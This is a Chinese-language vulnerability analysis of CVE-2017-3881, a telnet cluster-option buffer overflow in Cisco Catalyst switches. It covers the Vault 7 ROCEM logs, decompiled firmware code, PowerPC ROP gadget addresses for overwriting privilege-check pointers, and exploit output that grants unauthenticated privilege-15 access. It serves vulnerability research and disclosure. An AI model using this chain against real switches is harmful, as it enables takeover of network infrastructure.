[CVE-2017-3881]思科Catalyst 交换机RCE漏洞分析

0x01 概率

你的Catalyst交换机上是否还启用了telnet?认真的想一想,这是一个Catalyst 2960交换机的概念验证远程代码执行漏洞。查看这里的漏洞利用代码。以下是对2017年3月7日CIA存档漏洞利用开发流程的详细说明,并由思科系统于2017年3月17日公开披露。撰写本文4月10号时,还没有可用的补丁。但是还有一个修复方法 – 禁用telnet并使用SSH

0x02 Vault 7 CIA泄漏

一系列中央情报局的文件于2017年3月7日泄露,并在维基解密上发表。在其他出版物中,有一个有趣的preauth代码执行漏洞影响了多个Cisco交换机。这个漏洞在泄露的文档中是代号为ROCEM。虽然提到的技术细节很少,但我们还是想探究一下。

Vault 7的文档揭示了实际漏洞利用的测试过程。但维基解密并没有给出漏洞的利用源代码。这里突出显示了两个用例:该工具可以在交互模式或设置模式启动。交互模式通过telnet发送有效载荷,并在相同的telnet连接的上下文中向攻击者提供命令shell。从文档引用:

Started ROCEM interactive session - successful:

root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -i 192.168.0.254
[+] Validating data/interactive.bin
[+] Validating data/set.bin
[+] Validating data/transfer.bin
[+] Validating data/unset.bin
****************************************
Image: c3560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Interactive
****************************************
Proceed? (y/n)y
Trying 127.0.0.1...
[*] Attempting connection to host 192.168.0.254:23
Connected to 127.0.0.1.
Escape character is '^]'.
[+] Connection established
[*] Starting interactive session
User Access Verification
Password:
MLS-Sth#

MLS-Sth# show priv
Current privilege level is 15
MLS-Sth#show users
Line User Host(s) Idle Location
* 1 vty 0 idle 00:00:00 192.168.221.40
Interface User Mode Idle Peer Address
MLS-Sth#exit
Connection closed by foreign host.

在设置模式中,修改交换机内存以使任何后续telnet连接passwordless。从文档引用:

Test set/unset feature of ROCEM
DUT configured with target configuration and network setup
DUT is accessed by hopping through three flux nodes as per the CONOP
Reloaded DUT to start with a clean device
From Adverse ICON machine, set ROCEM:
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -s 192.168.0.254
[+] Validating data/interactive.bin
[+] Validating data/set.bin
[+] Validating data/transfer.bin
[+] Validating data/unset.bin

****************************************
Image: c3560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Set
****************************************

Proceed? (y/n)y
[*] Attempting connection to host 192.168.0.254:23
[+] Connection established
[*] Sending Protocol Step 1
[*] Sending Protocol Step 2
[+] Done
root@debian:/home/user1/ops/adverse/adverse-1r/rocem#

Verified I could telnet and rx priv 15 without creds:

root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254
Trying 192.168.0.254...
Connected to 192.168.0.254.
Escape character is '^]'.

MLS-Sth#

MLS-Sth#show priv
Current privilege level is 15
MLS-Sth#

在研究此漏洞时,telnet调试输出是一项很有用的信息。从文档引用:

14. Confirm Xetron EAR 5355 - Debug telnet causes anomalous output 
 1.Enabled debug telnet on DUT
 2.Set ROCEM
 3.Observed the following:
 000467: Jun 3 13:54:09.330: TCP2: Telnet received WILL TTY-SPEED (32) (refused)
 000468: Jun 3 13:54:09.330: TCP2: Telnet sent DONT TTY-SPEED (32)
 000469: Jun 3 13:54:09.330: TCP2: Telnet received WILL LOCAL-FLOW (33) (refused)
 000470: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LOCAL-FLOW (33)
 000471: Jun 3 13:54:09.330: TCP2: Telnet received WILL LINEMODE (34)
 000472: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LINEMODE (34) (unimplemented)
 000473: Jun 3 13:54:09.330: TCP2: Telnet received WILL NEW-ENVIRON (39)
 000474: Jun 3 13:54:09.330: TCP2: Telnet sent DONT NEW-ENVIRON (39) (unimplemented)
 000475: Jun 3 13:54:09.330: TCP2: Telnet received DO STATUS (5)
 000476: Jun 3 13:54:09.330: TCP2: Telnet sent WONT STATUS (5) (unimplemented)
 000477: Jun 3 13:54:09.330: TCP2: Telnet received WILL X-DISPLAY (35) (refused)
 000478: Jun 3 13:54:09.330: TCP2: Telnet sent DONT X-DISPLAY (35)
 000479: Jun 3 13:54:09.330: TCP2: Telnet received DO ECHO (1)
 000480: Jun 3 13:54:09.330: Telnet2: recv SB NAWS 116 29
 000481: Jun 3 13:54:09.623: Telnet2: recv SB 36 92 OS^K'zAuk,Fz90X
 000482: Jun 3 13:54:09.623: Telnet2: recv SB 36 0 ^CCISCO_KITS^Ap

注意CISCO_KITS服务在最后一行接收的选项。这被证明是一个重要的字符串。

0x03 思科咨询

思科系统于2017年3月17日公布了其交换机中存在的漏洞。本披露基于Vault 7中的文档:

Cisco IOS和Cisco IOS XE软件中的思科集群管理协议(CMP)处理代码中的漏洞可能允许未经身份验证的远程攻击者重新加载受影响的设备, 或者以提升的权限远程执行代码。

在撰写本文时,没有太多细节可用,除了以下段落外:

1

 

该漏洞允许攻击者利用telnet服务在目标交换机上获得远程代码执行。但除了这个咨询,我需要更多的信息。所以我决定深入思科集群管理协议。

0x04 交换机集群

我有两个Catalyst 2960交换机来研究这个漏洞。集群设置交换机之间的主从关系。主交换机能够在从站上获得特权命令shell。正如Cisco在其咨询中所提到的那样,telnet被用作集群成员之间的命令协议。有关集群的信息可以在这里找到,这里是一个设置集群环境的例子。

现在来查找它们之间的集群通信。以下应该在主交换机配置中:

cluster enable CLGRP 0
cluster member 1 mac-address xxxx.xxxx.xxxx

这将添加一个附近的交换机作为集群从站。rcommand <num>允许设备从主接口的获取命令接口。这是预期的设计。

catalyst1>rcommand 1
catalyst2>who
 Line User Host(s) Idle Location
* 1 vty 0 idle 00:00:00 10.10.10.10

Interface User Mode Idle Peer Address

我们来看看生成的流量rcommand

llc_traffic

哪里是telnet流量? 咨询明确指出:

集群管理协议在内部使用Telnet作为集群成员之间的信令和命令协议。

我们运行show version后可以看到更多的流量:

catalyst2>show version
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE1, RELEASE SOFTWARE (fc1)

Telnet流量实际上被封装在第2层LLC数据包中。如果我们看起来足够认真,我们将在源和目标字段中注意到chopped MAC地址内的IP数据包。在这些“IP”数据包之内,存在具有telnet会话的有效TCP帧。

show_ver_cluster

telnet会话通常在协商telnet选项之前。其中包括:终端大小,终端类型等。请查看RFC了解更多信息。

在提供catalyst2>消息之前,一个有趣的telnet选项被转移到服务器端:

cisco_kits_traffic

在这里,可以看到从主交换机发送到从站的telnet选项“CISCO_KITS”。在执行利用期间,Vault 7文档中存在相同的字符串。可以仔细看看交换机内部。

0x05 查看固件

固件位于交换机上的flash:<version>.bin

catalyst2#dir flash:
Directory of flash:/

2 -rwx 9771282 Mar 1 1993 00:13:28 +00:00 c2960-lanbasek9-mz.122-55.SE1.bin
 3 -rwx 2487 Mar 1 1993 00:01:53 +00:00 config.text

内置的ftp客户端允许将此固件传输到任意ftp服务器。现在用二进制文件分析和提取文件的内容:

$ binwalk -e c2960-lanbasek9-mz.122-55.SE1.bin

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
112 0x70 bzip2 compressed data, block size = 900k

为了方便对所得到的二进制数进行静态分析,我们要更好地了解固件负载偏移量。在引导过程中,该偏移量将打印到串行控制台:

Loading "flash:c2960-lanbasek9-mz.122-55.SE1.bin"...@@@@@@@@@@@@@@@@@@@@@@
File "flash:c2960-lanbasek9-mz.122-55.SE1.bin" uncompressed and installed,
entry point: 0x3000
executing...

CPU架构是PowerPC 32位BigEndian。将二进制文件加载到0x3000:

ida_offset

0x06 检测字符串

记的我之前捕获的集群通信中的CISCO_KITS字符串吗?这是我的出发点。在发现IDA中的大部分功能后,我可以看到固件末尾的字符串的交叉错误。

ida_cisco_kitsCISCO_KITS”字符串由return_cisco_kits函数引用,它只返回此字符串char *。我我们将重点关注call_cisco_kits函数,在0x0004ED8C调用return_cisco_kits

ida_proximity1

因为telnet代码对于客户端和服务器而言是对称的,我们实际上可以看到发送到服务器端的缓冲区的格式%c%s%c%d:%s:%d:。这实际上与发送缓冲区的\x03CISCO_KITS\x012::1:中观察到的流量一致:

if ( telnet_struct->is_client_mode ) // client mode? then send "CISCO_KITS" string
{
 if ( telnet_struct->is_client_mode == 1 )
 {
 cisco_kits_string_2 = (char *)return_cisco_kits();
 int_two = return_2();
 tty_str = get_from_tty_struct((telnet_struct *)telnet_struct_arg->tty_struct);
 *(_DWORD *)&telnet_struct_arg->tty_struct[1].field_6D1;
 format1_ret = format_1(
 128,
 (int)&str_buf[8],
 "%c%s%c%d:%s:%d:",
 3,
 cisco_kits_string_2,
 1,
 int_two,
 tty_str,
 0);
 telnet_struct = (telnet_struct *)telnet_send_sb(
 (int)telnet_struct_arg,
 36,
 0,
 &str_buf[8],
 format1_ret,
 v8,
 v7,
 v6);
 }
}

注意事项:有两个%s字符串修饰符,但是在CISCO_KITS流量样本中只有一个字符串实际存在,第二个字符串是空的,并且被限制在两个”:“字符之间。进一步观察相同功能的控制流程,我注意到处理第二个字符串时(这次代码的服务器端部分)有一些有趣的行为:

for ( j = (unsigned __int8)*string_buffer; j != ':'; j = (unsigned __int8)*string_buffer )// put data before second ":" at &str_buf + 152
{
 str_buf[v19++ + 152] = j;
 ++string_buffer;
}

我们在第二个%s字符串中发送的数据实际上被复制到””char中,而不检查目标缓冲区驻留在堆栈上的目标边界。

就是说这里存在缓冲区溢出!

0x07 获取代码执行

获取指令指针的控制很容易,因为它被我发送的缓冲区覆盖(我使用IODIDE进行调试)。问题是堆和栈(驻留在堆上)是不可执行的。我最佳的选择是,这实际上是启用数据和指令缓存的效果。以下是Felix LindnerBlackHat 2009上的演示文稿

caches

0x08 ROPing a way out

由于没有办法在堆栈上执行代码,所以我不得不将其用作数据缓冲区并重新使用固件中的现有代码。这个想法是以有意义的方式链接函数epilogs来执行任意的内存写入。看看0x00F47A34的反编译函数:

if ( ptr_is_cluster_mode(tty_struct_var->telnet_struct_field) )
{
 telnet_struct_var = tty_struct_var->telnet_struct_field;
 ptr_get_privilege_level = (int (__fastcall *)(int))some_libc_func(0, (unsigned int *)&dword_22659D4[101483]);
 privilege_level = ptr_get_privilege_level(telnet_struct_var);// equals to 1 during rcommand 1
 telnet_struct_1 = tty_struct_var->telnet_struct_field;
 ptr_telnet_related2 = (void (__fastcall *)(int))some_libc_func(1u, (unsigned int *)&dword_22659D4[101487]);
 ptr_telnet_related2(telnet_struct_1);
 *(_DWORD *)&tty_struct_var->privilege_level_field = ((privilege_level << 28) & 0xF0000000 | *(_DWORD *)&tty_struct_var->privilege_level_field & 0xFFFFFFF) & 0xFF7FFFFF;
}
else
{
 //generic telnet session
}

有趣的事情发生在这里。首先要强调的是,ptr_is_cluster_modeptr_get_privilege_level的调用间接地通过引用全局变量。检查地址0x00F47B60的行 – is_cluster_mode函数地址正在从0x01F24A7dword加载。以类似的方式,get_privilege_level的地址正在从0x3F47B8Cr3寄存器加载。此时r3内容是位于地址0x022659D4+0x28+0xC的取消引用指针。

ida_dis

如果ptr_is_cluster_mode调用返回非零,并且ptr_get_privilege调用返回与-1不同的值,我们将显示一个telnet shell,而不需要提供任何凭据。正在检查变量privilege_level的值,进一步减少代码:

privilege_level_br

如果我可以将这些函数指针覆盖到总是返回所需正值的值,该怎么办?由于堆栈和堆不是直接可执行的,所以我不得不重用现有的代码来执行这样的内存写入。使用以下ROP小工具:

0x000037b4: 
 lwz r0, 0x14(r1)
 mtlr r0
 lwz r30, 8(r1)
 lwz r31, 0xc(r1)
 addi r1, r1, 0x10 
 blr

is_cluster_mode函数的指针加载到r30中,加载值将该指针覆盖到r31中,覆盖的值是始终返回1的函数的地址:

return_1_function

0x00dffbe8: 
 stw r31, 0x34(r30)
 lwz r0, 0x14(r1)
 mtlr r0
 lmw r30, 8(r1)
 addi r1, r1, 0x10
 blr

执行实际写入。

0x0006788c: 
 lwz r9, 8(r1)
 lwz r3, 0x2c(r9)
 lwz r0, 0x14(r1)
 mtlr r0
 addi r1, r1, 0x10
 blr
0x006ba128: 
 lwz r31, 8(r1)
 lwz r30, 0xc(r1)
 addi r1, r1, 0x10
 lwz r0, 4(r1)
 mtlr r0
 blr

以前的两个小工具将get_privilege_level函数的指针加载到r3中,并将值覆盖到r31。目标值是一个返回15的函数(可以为这两个写入使用此函数tho):

return_15_function

0x0148e560: 
 stw r31, 0(r3)
 lwz r0, 0x14(r1)
 mtlr r0
 lwz r31, 0xc(r1)
 addi r1, r1, 0x10
 blr

这个epilog使得最终写入并返回到合法的执行流程。当然,应该相应地形成堆架框架,使这个rop chain工作。查看漏洞来源,以查看该链的实际堆栈布局按照预期工作。

0x09 运行exploit

我写出了一个工具,能修补负责credless连接和权限级别的函数指针的能力。能够漏洞利用代码严重依赖于交换机上使用的固件版本。对某些不同的固件使用漏洞代码最可能会使设备崩溃。

我使用旧的固件SE1的静态和动态分析的知识来构建最新推荐的固件12.2(55)SE11的漏洞。固件版本之间的所有区别是不同的功能和指针偏移。此外,漏洞利用的方式使得可以轻松地将更改还原。例:

$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.

catalyst1#show priv
Current privilege level is 15
catalyst1#show ver
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE (fc3)
...

System image file is "flash:c2960-lanbasek9-mz.122-55.SE11.bin"

...

cisco WS-C2960-48TT-L (PowerPC405) processor (revision B0) with 65536K bytes of memory.
...
Model number : WS-C2960-48TT-L
...

Switch Ports Model SW Version SW Image 
------ ----- ----- ---------- ---------- 
* 1 50 WS-C2960-48TT-L 12.2(55)SE11 C2960-LANBASEK9-M


Configuration register is 0xF

要取消此行为:

$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --unset
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f\r\ncatalyst1#'
[+] Sending cluster option
[+] Unsetting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Escape character is '^]'.


User Access Verification

Password:

这个RCE POC在这里有两个固件版本。利用此漏洞利用的DOS版本可用作为Metasploit模块,它可能适用于Cisco咨询中提到的大多数型号。

本文存在攻击性,请勿用于非法用途,一切责任请自行负责。

漏洞影响范围:

    Cisco Catalyst 2350-48TD-S Switch
   Cisco Catalyst2350-48TD-SD Switch
  Cisco Catalyst 2360-48TD-SSwitch
  Cisco Catalyst 2918-24TC-CSwitch
  Cisco Catalyst 2918-24TT-CSwitch
  Cisco Catalyst 2918-48TC-CSwitch
  Cisco Catalyst 2918-48TT-CSwitch
  Cisco Catalyst 2928-24TC-CSwitch
  Cisco Catalyst 2960-24-SSwitch
  Cisco Catalyst 2960-24LC-SSwitch
  Cisco Catalyst 2960-24LT-LSwitch
  Cisco Catalyst 2960-24PC-LSwitch
  Cisco Catalyst 2960-24PC-SSwitch
  Cisco Catalyst 2960-24TC-LSwitch
  Cisco Catalyst 2960-24TC-SSwitch
  Cisco Catalyst 2960-24TT-LSwitch
  Cisco Catalyst 2960-48PST-LSwitch
  Cisco Catalyst2960-48PST-S Switch
  Cisco Catalyst 2960-48TC-LSwitch
  Cisco Catalyst 2960-48TC-SSwitch
  Cisco Catalyst 2960-48TT-LSwitch
  Cisco Catalyst 2960-48TT-SSwitch
  Cisco Catalyst 2960-8TC-LCompact Switch
  Cisco Catalyst 2960-8TC-S Compact Switch
  Cisco Catalyst 2960-Plus24LC-L Switch
  Cisco Catalyst 2960-Plus24LC-S Switch
  Cisco Catalyst 2960-Plus24PC-L Switch
  Cisco Catalyst 2960-Plus24PC-S Switch
  Cisco Catalyst 2960-Plus24TC-L Switch
  Cisco Catalyst 2960-Plus24TC-S Switch
  Cisco Catalyst 2960-Plus48PST-L Switch
  Cisco Catalyst 2960-Plus48PST-S Switch
  Cisco Catalyst 2960-Plus48TC-L Switch
  Cisco Catalyst 2960-Plus48TC-S Switch
  Cisco Catalyst2960C-12PC-L Switch
  Cisco Catalyst 2960C-8PC-LSwitch
  Cisco Catalyst 2960C-8TC-LSwitch
  Cisco Catalyst 2960C-8TC-SSwitch
  Cisco Catalyst2960CG-8TC-L Compact Switch
  Cisco Catalyst2960CPD-8PT-L Switch
  Cisco Catalyst2960CPD-8TT-L Switch
  Cisco Catalyst2960CX-8PC-L Switch
  Cisco Catalyst2960CX-8TC-L Switch
  Cisco Catalyst2960G-24TC-L Switch
  Cisco Catalyst2960G-48TC-L Switch
  Cisco Catalyst 2960G-8TC-LCompact Switch
  Cisco Catalyst 2960L-16PS-LLSwitch
  Cisco Catalyst2960L-16TS-LL Switch
  Cisco Catalyst2960L-24PS-LL Switch
  Cisco Catalyst2960L-24TS-LL Switch
  Cisco Catalyst2960L-48PS-LL Switch
  Cisco Catalyst2960L-48TS-LL Switch
  Cisco Catalyst2960L-8PS-LL Switch
  Cisco Catalyst2960L-8TS-LL Switch
  Cisco Catalyst2960PD-8TT-L Compact Switch
  Cisco Catalyst2960S-24PD-L Switch
  Cisco Catalyst2960S-24PS-L Switch
  Cisco Catalyst2960S-24TD-L Switch
  Cisco Catalyst2960S-24TS-L Switch
  Cisco Catalyst2960S-24TS-S Switch
  Cisco Catalyst2960S-48FPD-L Switch
  Cisco Catalyst2960S-48FPS-L Switch
  Cisco Catalyst2960S-48LPD-L Switch
  Cisco Catalyst2960S-48LPS-L Switch
  Cisco Catalyst2960S-48TD-L Switch
  Cisco Catalyst2960S-48TS-L Switch
  Cisco Catalyst2960S-48TS-S Switch
  Cisco Catalyst2960S-F24PS-L Switch
  Cisco Catalyst2960S-F24TS-L Switch
  Cisco Catalyst2960S-F24TS-S Switch
  Cisco Catalyst2960S-F48FPS-L Switch
  Cisco Catalyst2960S-F48LPS-L Switch
  Cisco Catalyst2960S-F48TS-L Switch
  Cisco Catalyst2960S-F48TS-S Switch
  Cisco Catalyst2960X-24PD-L Switch
  Cisco Catalyst2960X-24PS-L Switch
  Cisco Catalyst2960X-24PSQ-L Cool Switch
  Cisco Catalyst2960X-24TD-L Switch
  Cisco Catalyst 2960X-24TS-LSwitch
  Cisco Catalyst2960X-24TS-LL Switch
  Cisco Catalyst2960X-48FPD-L Switch
  Cisco Catalyst2960X-48FPS-L Switch
  Cisco Catalyst2960X-48LPD-L Switch
  Cisco Catalyst2960X-48LPS-L Switch
  Cisco Catalyst2960X-48TD-L Switch
  Cisco Catalyst2960X-48TS-L Switch
  Cisco Catalyst2960X-48TS-LL Switch
  Cisco Catalyst2960XR-24PD-I Switch
  Cisco Catalyst2960XR-24PD-L Switch
  Cisco Catalyst2960XR-24PS-I Switch
  Cisco Catalyst2960XR-24PS-L Switch
  Cisco Catalyst2960XR-24TD-I Switch
  Cisco Catalyst2960XR-24TD-L Switch
  Cisco Catalyst2960XR-24TS-I Switch
  Cisco Catalyst2960XR-24TS-L Switch
  Cisco Catalyst2960XR-48FPD-I Switch
  Cisco Catalyst2960XR-48FPD-L Switch
  Cisco Catalyst2960XR-48FPS-I Switch
  Cisco Catalyst2960XR-48FPS-L Switch
  Cisco Catalyst2960XR-48LPD-I Switch
  Cisco Catalyst2960XR-48LPD-L Switch
  Cisco Catalyst2960XR-48LPS-I Switch
  Cisco Catalyst2960XR-48LPS-L Switch
  Cisco Catalyst2960XR-48TD-I Switch
  Cisco Catalyst 2960XR-48TD-L Switch
  Cisco Catalyst2960XR-48TS-I Switch
  Cisco Catalyst2960XR-48TS-L Switch
  Cisco Catalyst 2970G-24TSwitch
  Cisco Catalyst 2970G-24TSSwitch
  Cisco Catalyst 2975 Switch
  Cisco Catalyst 3550 12GSwitch
  Cisco Catalyst 3550 12TSwitch
  Cisco Catalyst 3550 24 DCSMI Switch
  Cisco Catalyst 3550 24 EMISwitch
  Cisco Catalyst 3550 24 FXSMI Switch
  Cisco Catalyst 3550 24 PWRSwitch
  Cisco Catalyst 3550 24 SMISwitch
  Cisco Catalyst 3550 48 EMISwitch
  Cisco Catalyst 3550 48 SMISwitch
  Cisco Catalyst 3560-12PC-SCompact Switch
  Cisco Catalyst 3560-24PSSwitch
  Cisco Catalyst 3560-24TSSwitch
  Cisco Catalyst 3560-48PSSwitch
  Cisco Catalyst 3560-48TSSwitch
  Cisco Catalyst 3560-8PCCompact Switch
  Cisco Catalyst3560C-12PC-S Switch
  Cisco Catalyst 3560C-8PC-SSwitch
  Cisco Catalyst3560CG-8PC-S Compact Switch
  Cisco Catalyst3560CG-8TC-S Compact Switch
  Cisco Catalyst 3560CPD-8PT-SCompact Switch
  Cisco Catalyst3560CX-12PC-S Switch
  Cisco Catalyst3560CX-12PD-S Switch
  Cisco Catalyst3560CX-12TC-S Switch
  Cisco Catalyst3560CX-8PC-S Switch
  Cisco Catalyst3560CX-8PT-S Switch
  Cisco Catalyst3560CX-8TC-S Switch
  Cisco Catalyst3560CX-8XPD-S Switch
  Cisco Catalyst 3560E-12D-ESwitch
  Cisco Catalyst 3560E-12D-SSwitch
  Cisco Catalyst3560E-12SD-E Switch
  Cisco Catalyst3560E-12SD-S Switch
  Cisco Catalyst3560E-24PD-E Switch
  Cisco Catalyst3560E-24PD-S Switch
  Cisco Catalyst3560E-24TD-E Switch
  Cisco Catalyst3560E-24TD-S Switch
  Cisco Catalyst3560E-48PD-E Switch
  Cisco Catalyst3560E-48PD-EF Switch
  Cisco Catalyst3560E-48PD-S Switch
  Cisco Catalyst 3560E-48PD-SFSwitch
  Cisco Catalyst3560E-48TD-E Switch
  Cisco Catalyst3560E-48TD-S Switch
  Cisco Catalyst 3560G-24PSSwitch
  Cisco Catalyst 3560G-24TSSwitch
  Cisco Catalyst 3560G-48PSSwitch
  Cisco Catalyst 3560G-48TSSwitch
  Cisco Catalyst 3560V2-24DCSwitch
  Cisco Catalyst 3560V2-24PSSwitch
  Cisco Catalyst 3560V2-24TSSwitch
  Cisco Catalyst 3560V2-48PSSwitch
  Cisco Catalyst 3560V2-48TSSwitch
  Cisco Catalyst 3560X-24P-ESwitch
  Cisco Catalyst 3560X-24P-LSwitch
  Cisco Catalyst 3560X-24P-S Switch
  Cisco Catalyst 3560X-24T-ESwitch
  Cisco Catalyst 3560X-24T-LSwitch
  Cisco Catalyst 3560X-24T-SSwitch
  Cisco Catalyst 3560X-24U-ESwitch
  Cisco Catalyst 3560X-24U-LSwitch
  Cisco Catalyst 3560X-24U-SSwitch
  Cisco Catalyst 3560X-48P-ESwitch
  Cisco Catalyst 3560X-48P-LSwitch
  Cisco Catalyst 3560X-48P-SSwitch
  Cisco Catalyst3560X-48PF-E Switch
  Cisco Catalyst3560X-48PF-L Switch
  Cisco Catalyst 3560X-48PF-SSwitch
  Cisco Catalyst 3560X-48T-ESwitch
  Cisco Catalyst 3560X-48T-LSwitch
  Cisco Catalyst 3560X-48T-SSwitch
  Cisco Catalyst 3560X-48U-ESwitch
  Cisco Catalyst 3560X-48U-LSwitch
  Cisco Catalyst 3560X-48U-SSwitch
  Cisco Catalyst 3750 Metro24-AC Switch
  Cisco Catalyst 3750 Metro24-DC Switch
  Cisco Catalyst 3750-24FSSwitch
  Cisco Catalyst 3750-24PSSwitch
  Cisco Catalyst 3750-24TSSwitch
  Cisco Catalyst 3750-48PSSwitch
  Cisco Catalyst 3750-48TSSwitch
  Cisco Catalyst3750E-24PD-E Switch
  Cisco Catalyst3750E-24PD-S Switch
  Cisco Catalyst3750E-24TD-E Switch
  Cisco Catalyst3750E-24TD-S Switch
  Cisco Catalyst3750E-48PD-E Switch
  Cisco Catalyst3750E-48PD-EF Switch
  Cisco Catalyst3750E-48PD-S Switch
  Cisco Catalyst3750E-48PD-SF Switch
  Cisco Catalyst3750E-48TD-E Switch
  Cisco Catalyst3750E-48TD-S Switch
  Cisco Catalyst 3750G-12SSwitch
  Cisco Catalyst3750G-12S-SD Switch
  Cisco Catalyst 3750G-16TDSwitch
  Cisco Catalyst 3750G-24PSSwitch
  Cisco Catalyst 3750G-24TSwitch
  Cisco Catalyst 3750G-24TSSwitch
  Cisco Catalyst3750G-24TS-1U Switch
  Cisco Catalyst 3750G-48PSSwitch
  Cisco Catalyst 3750G-48TSSwitch
  Cisco Catalyst 3750V2-24FSSwitch
  Cisco Catalyst 3750V2-24PSSwitch
  Cisco Catalyst 3750V2-24TSSwitch
  Cisco Catalyst 3750V2-48PSSwitch
  Cisco Catalyst 3750V2-48TSSwitch
  Cisco Catalyst 3750X-12S-ESwitch
  Cisco Catalyst 3750X-12S-SSwitch
  Cisco Catalyst 3750X-24P-ESwitch
  Cisco Catalyst 3750X-24P-LSwitch
  Cisco Catalyst 3750X-24P-SSwitch
  Cisco Catalyst 3750X-24S-ESwitch
  Cisco Catalyst 3750X-24S-SSwitch
  Cisco Catalyst 3750X-24T-ESwitch
  Cisco Catalyst 3750X-24T-LSwitch
  Cisco Catalyst 3750X-24T-SSwitch
  Cisco Catalyst 3750X-24U-ESwitch
  Cisco Catalyst 3750X-24U-LSwitch
  Cisco Catalyst 3750X-24U-SSwitch
  Cisco Catalyst 3750X-48P-ESwitch
  Cisco Catalyst 3750X-48P-LSwitch
  Cisco Catalyst 3750X-48P-SSwitch
  Cisco Catalyst3750X-48PF-E Switch
  Cisco Catalyst3750X-48PF-L Switch
  Cisco Catalyst3750X-48PF-S Switch
  Cisco Catalyst 3750X-48T-ESwitch
  Cisco Catalyst 3750X-48T-LSwitch
  Cisco Catalyst 3750X-48T-SSwitch
  Cisco Catalyst 3750X-48U-ESwitch
  Cisco Catalyst 3750X-48U-LSwitch
  Cisco Catalyst 3750X-48U-SSwitch
  Cisco Catalyst 4000Supervisor Engine I
  Cisco Catalyst 4000/4500Supervisor Engine IV
  Cisco Catalyst 4000/4500Supervisor Engine V
  Cisco Catalyst 4500 SeriesSupervisor Engine II-Plus
  Cisco Catalyst 4500 SeriesSupervisor Engine II-Plus-TS
  Cisco Catalyst 4500 SeriesSupervisor Engine V-10GE
  Cisco Catalyst 4500 SeriesSupervisor II-Plus-10GE
  Cisco Catalyst 4500Supervisor Engine 6-E
  Cisco Catalyst 4500Supervisor Engine 6L-E
  Cisco Catalyst 4900MSwitch
  Cisco Catalyst 4928 10Gigabit Ethernet Switch
  Cisco Catalyst 4948 10Gigabit Ethernet Switch
  Cisco Catalyst 4948 Switch
  Cisco Catalyst 4948EEthernet Switch
  Cisco Catalyst 4948E-FEthernet Switch
  Cisco Catalyst BladeSwitch 3020 for HP
  Cisco Catalyst BladeSwitch 3030 for Dell
  Cisco Catalyst BladeSwitch 3032 for Dell M1000E
  Cisco Catalyst Blade Switch3040 for FSC
  Cisco Catalyst BladeSwitch 3120 for HP
  Cisco Catalyst BladeSwitch 3120X for HP
  Cisco Catalyst BladeSwitch 3130 for Dell M1000E
  Cisco CatalystC2928-24LT-C Switch
  Cisco CatalystC2928-48TC-C Switch
  Cisco Catalyst SwitchModule 3012 for IBM BladeCenter
  Cisco Catalyst SwitchModule 3110 for IBM BladeCenter
  Cisco Catalyst SwitchModule 3110X for IBM BladeCenter
  Cisco Embedded Service2020 24TC CON B Switch
  Cisco Embedded Service2020 24TC CON Switch
  Cisco Embedded Service 2020 24TC NCP B Switch
  Cisco Embedded Service2020 24TC NCP Switch
  Cisco Embedded Service2020 CON B Switch
  Cisco Embedded Service2020 CON Switch
  Cisco Embedded Service2020 NCP B Switch
  Cisco Embedded Service 2020NCP Switch
  Cisco Enhanced Layer 2EtherSwitch Service Module
  Cisco Enhanced Layer 2/3EtherSwitch Service Module
  Cisco Gigabit EthernetSwitch Module (CGESM) for HP
  Cisco IE 2000-16PTC-GIndustrial Ethernet Switch
  Cisco IE 2000-16T67Industrial Ethernet Switch
  Cisco IE 2000-16T67PIndustrial Ethernet Switch
  Cisco IE 2000-16TCIndustrial Ethernet Switch
  Cisco IE 2000-16TC-GIndustrial Ethernet Switch
  Cisco IE 2000-16TC-G-EIndustrial Ethernet Switch
  Cisco IE 2000-16TC-G-NIndustrial Ethernet Switch
  Cisco IE 2000-16TC-G-XIndustrial Ethernet Switch
  Cisco IE 2000-24T67Industrial Ethernet Switch
  Cisco IE 2000-4S-TS-GIndustrial Ethernet Switch
  Cisco IE 2000-4TIndustrial Ethernet Switch
  Cisco IE 2000-4T-GIndustrial Ethernet Switch
  Cisco IE 2000-4TSIndustrial Ethernet Switch
  Cisco IE 2000-4TS-GIndustrial Ethernet Switch
  Cisco IE 2000-8T67Industrial Ethernet Switch
  Cisco IE 2000-8T67PIndustrial Ethernet Switch
  Cisco IE 2000-8TCIndustrial Ethernet Switch
  Cisco IE 2000-8TC-GIndustrial Ethernet Switch
  Cisco IE 2000-8TC-G-EIndustrial Ethernet Switch
  Cisco IE 2000-8TC-G-NIndustrial Ethernet Switch
  Cisco IE 3000-4TCIndustrial Ethernet Switch
  Cisco IE 3000-8TCIndustrial Ethernet Switch
  Cisco IE-3010-16S-8PCIndustrial Ethernet Switch
  Cisco IE-3010-24TCIndustrial Ethernet Switch
  Cisco IE-4000-16GT4G-EIndustrial Ethernet Switch
  Cisco IE-4000-16T4G-EIndustrial Ethernet Switch
  Cisco IE-4000-4GC4GP4G-EIndustrial Ethernet Switch
  Cisco IE-4000-4GS8GP4G-EIndustrial Ethernet Switch
  Cisco IE-4000-4S8P4G-EIndustrial Ethernet Switch
  Cisco IE-4000-4T4P4G-EIndustrial Ethernet Switch
  Cisco IE-4000-4TC4G-EIndustrial Ethernet Switch
  Cisco IE-4000-8GS4G-EIndustrial Ethernet Switch
